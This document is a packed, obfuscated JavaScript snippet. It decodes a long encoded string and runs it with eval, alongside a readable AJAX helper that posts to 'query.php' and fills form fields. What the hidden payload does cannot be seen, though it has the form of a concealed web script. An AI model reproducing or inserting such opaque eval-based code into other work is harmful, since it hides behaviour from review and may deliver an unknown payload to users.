j7$a?U-4Q!3!3?&3<2-7%3-7%4-7T-7%6&1,af%f-f$0-f$1-f$3-f&9R3%0N%0X%0M%0`I,acN-cX-cM-c`-c&6Rc-f$d-f$e-f$f-fB0&9,ac$e-c$f-cB0G!f-7&6,a0FF#7H#6H^H&4D9P#aP#bP#cP#d&5D2#f!f*1A`$a*3*6&6/4-4GF%6GF*fG&1/4T!1_AAAF*f&1D3H@KJ@-bPPYD2!f?KT?-aHP&7/6%7ULV-6UB0-4&3R5!fV$d!fV$4!fV&3<7P>$a-6MM_*b&5RczPJ^#b!3N#d `8M|G-d$bU%2P&5,a9*b>-eG-9%8>-e&1/fV%4ULVNN#e&3/6N*0VQ-e!3>*4&3W3 ^4#8^@E~#8y<2H>$4%0_?*6*6&5/b#e#e~ ^4_$4zy<0#eV$d*0!3#c#6!3&3W4OJ@-fG!2#b#6y/2*4OJ@-f#d_$3yW2_^*fU%2H_#7&5/8M$fL%2H_^*f&5/a%0G!3^VN$dU&3<6*4A-4#fJL#b*0&9D1T*3@-a*5>-3>YD9#9#bH%4-8|$a*4 j5*2#b#6*2#f#6*1#eID0#b#8H#d#6H^#b ed#9OG#8~G#9P&1D3#a#7O#f#9O#e#e&7/dO#6GJJGJP&1D5#a#9^#f#a^#a#a&9/f#8#9!f#8#8!f~~&3D3#c#aO#dO#c#aO&7D9L~LOLJL#6yW0T*3%eM$aH>^Y<d*1~#fZ*0EXM ea*4*5$3^^OB5GIR4N-d%b-f#f-5X$4y<e$3KO%bM$4Q*8&5<b%4N*6Q%7%8@K&3D4U$bz%4Q%6~#b&9DbHB4E~|*4L%f&7R7M$3#dJJ?LV&3<aO@B2O@|O@YRc^G-c^GB3T%2IWaE-dGP-d@EL&0<3%fZ!fE@!3Q$3&0D1ZQK$1@??U&3Db!3*3>!0#8*2|*9&0<cH!fK#b!fP~!fYW0%8Z$aF*eFH%0 ec*8*6?#f?$dzZIDd-c!2E@Q@E-c `6F$bZ%8`K*1^&4D9#9A$1%eQ$0$1$d&9W1#c~*2*0OF#9F&4,a1B1B1#fE*5*1*4E&4<aE@E?-b^%a| j9T`w*9$0w$1w&4R3|G>%8LB2*0>&5W8*2*5>-2P>NL&5,d1A-3~%f$4$4%b`&6,a0-c-5-4*5@`B5*3Y/dzB2*7*a?-2*f@I/2*6 ^b ^a*7!2OyD3%7$4w$e*2*2$3$a&5R5NA-1*5`$e$dP&9/3Q`UJHH!0@&0<2$b*5>*c*3%2$b>YWc*0MN`%8#e-d$a&3W5>#9#6%aMKB1*3Y,ae-8*1F^-5*c*1E&4W3?A%6%b`A@#dy/9*9LA*eJG*2%a&6<aM!1%aT#e TT&1DcT@A-3ZQz|&9<c%1|#a%e%f%eT#b `2L#d-eF ^f#d_yRf>L-0P-9X>#fYDd ^9*4#f!2#aN*4yRb-6%3w-0%3%f%7?y/7%8T%1%4EA-bH&0<4-8*dE>N-eE*6 ja!3*f*9U#eV*5!3&3/dNHB4B4B4*2%1|&7Rc*1EXz#fEXz ee!fA$1$eT?~Z&6<5$4-5-4*3*0%6N%e&0<6MKQ$1@-4#e!3&3/d!3-6EUE-7L$3&0<dz*9zz$a$1%a$dYRcZH!f$b$a%b!f~Y<1EZ||N#f~~&5<9`$1#6z$f$1zzY<b`~wN$3^#7^&6R5 fHT%2&1<c%fzPZXQ$1*2&3,aeA$0%1GA%0V*a&6D8G%aL-7|`$eQI/fHJ#8B5*b%8$bK&7/f%3%3LH*5~#8E&7DfF*8A^?!1H!1&1/7*4NK$eE*8|| j4z@!3F*0-0%4M&3R0#6$awXKMNHY/cPMQ-6MNK$1&3<9?@#d_!2V@$dyR7%a|$aM$3_?G&5/f!f-f%eL%4G#7$f&7/5@O%6NN%a$3w&5Wb$0$1$4KH@>HY/8*cG#9L_#f*0%7&5R6wT%fB1FLF*7&4<b%0V%1F!fGB1w&4<c$3T$b!0UXw$3&0<9%2wKw$4|#a%8&0R1KKZX>^$ewYR6FFJEK-fZ%1&4<5*0%7#8$b$f%fzB3ID3_~O%8Z%6M*8&5R8Z%e*a$dP#aA*b&9/9$b!f@V#aUU%f&6D2ZQ%8wz-3%aU edVV#6AN%1LL&6<1A#aZ`K$eX%e&9R0X!2#7%b%8$4%3%fy<bV#c%a~|%b$a-b&6,a5*4$fT_$f?L!1&1De*4?*8!fL$a%a| jd$4`@GF#cE-8&4D3K%a|*a$1%aQ%a&5R6z>*1@M%3H>Y/e#c#c#a#aJ*7*7A&9DeJ$0wQ%b`KF&4W5L-0$fXX%3%f%bIR4?@#d!2#eN%7Xy,aa%f$3%bV*4!fB1A&6<3#f ^1T%3%e%e%4y<aK$4*6%3$bA*bJ&9D1V#8V*9A-1%1%2&6/9?E*b$e$0N%bX&7R7!0*5w%6>!0*6#d `6XPQwwX%8M&3/8*f@$b#6@>-0PY,d2EE-0^E#c-3X j9KZK>-2>$bzY,d1$4Z*5%4?>-3@Y<2#d!0HXE-d?!0&0WdE$3%fT#e TU&1/6!3-0*1#fJ%7K|&3W4G!f>*1KN`L&6<5#f#a#9#dT#d%6#fy/8$4#d%4L$3$0Kw&0R6?A_V*2-3-8-9y<2%4%aB8%6%6???I/5F>FAF?FU ea~?^?#6?#7?ID7A#8A#bA#dA#9&9/5#6_#a_#b_#c_&5W0>*1>*2>*3>*4Y/4*2F*3F*6F*7F&4W8F*9F*aF*bF*c e1*a!1*b!1*c!1*d!1&1,a7P#8$d$fK$d$ezI/9%4L#eA|#e%4#d&1D9#b*7#9*2#aP~B0YD2JJ#7$3`QMP&9Re#8$a|$aJOOOIDc%6M%2ZAT?&1\\\\E:"32);ev",*``ZXK*b$0$1:"al(l)\\\'",EE!0*9Q>!0#8*2:");"};dk=[] I-r x in v){dk.push(trim(x,v))};e-l(dk 8\\\'\\\'))!v7#v8$vc%vb&:8*v9+,q-va/+7<,b>!8?!a@!bA!9BvdD+8E!7F!4G!dH#0I:90J#2K%cL!eM$7N$5O#3P#1Q$2R,cT%5U!cV!6W+9X$6Y&8Z%d^#5_!5`$8w%9y&2z$c|$9~#4\\\\,#6^L%2*0>$f*2\' Ic=46;c--;d=(t=d 6\'!#$%&*+-/<>?@ABDEFGHIJKLMNOPQRTUVWXYZ^_`wyz|~\\\\\'[c])) 8t.pop())); 9 (=d K &}; 9unAJAX L dE -q ]+ rN( $R); 3 rr -A 2 Yr)} 3 z){ Hself=this; 3 B=="GET" A$K=  F+  i+ Yt , R$K W +  R F W;try{  z.setRequestHeader("Content-Type","application/x-www-form-urlencoded" 5){}}  z.onreadystatechange !){switch( #z.readyState){case 1: #L 02: #u 03: #y 04: ;= #z.r (Text; ;XML= #z.r (XML; #C[0 Q; #C[1 QText; 3#w){self.r N 3#A A)= #A.nodeName; ).toLowerCase(); 3)=="input Jselect Joption Jtextarea" A#A. >= ; +#A.innerHTML= ;}} 3#C[0]=="200" A#J ]+#e()} #rt="";break} Uz.send( Yt)}} Um ],rg()} a.ajax : $M();try{ H $G 2\' $D\') *c("query", $G gd gf) *F="query.php" *B SG gB gf *rr=\' $rz\' *L SN *u Sg *y Ss *J Sx; P 5){ P)}  this g !=function( #self g $kx_ %encodeURIComponent( &e ,rr ?A ?F=file ,t :Object ],C : /(2) (esponse )elemNodeName *;ajax g +}else{  ,;   - A  .try{  z :ActiveXObject("M /Array 0();break;case  2=document.getElementById( 3if(  4true 5)}catch(e 6.split( 7.length 8.join( 9this.r :=new  ;self.r ( <T" ,i="?" ,rx="&" ,r =return >value ?=null , @ !){ U A){  C  t[key][ G( $j[0], $j[1]) Hvar  I;for( J"|| )==" K ,b= 4 ,w=fals L !  MXMLHttpRequest NunR (()} O -rt+= Yx+ $ Pajax.runAJAX( Q]= #z.status Rz.open(  B,  S= $ T-d!3 U} , V%b%a#6Q W, 4) X.XMLHTTP" 5 Y  r Z){if( []= /(  ]()  ^!2* _ L$o,  `&0/ awindow d$R A3  e&4/ f$3%6%fT$4 g. $ h 7;i++ A$ j&7< k $f[ $o]}';for(c=130;c;d=(t=d.split('   ! # $ % & ( ) * + , - . / 0 2 3 4 5 6 7 8 9 : ; < = > ? @ A C G H I J K L M N O P Q R S T U V W X Y Z [ ] ^ _ ` a d e f g h j k'.substr(c-=(x=c<2?1:2),x))).join(t.pop()));eval(d)

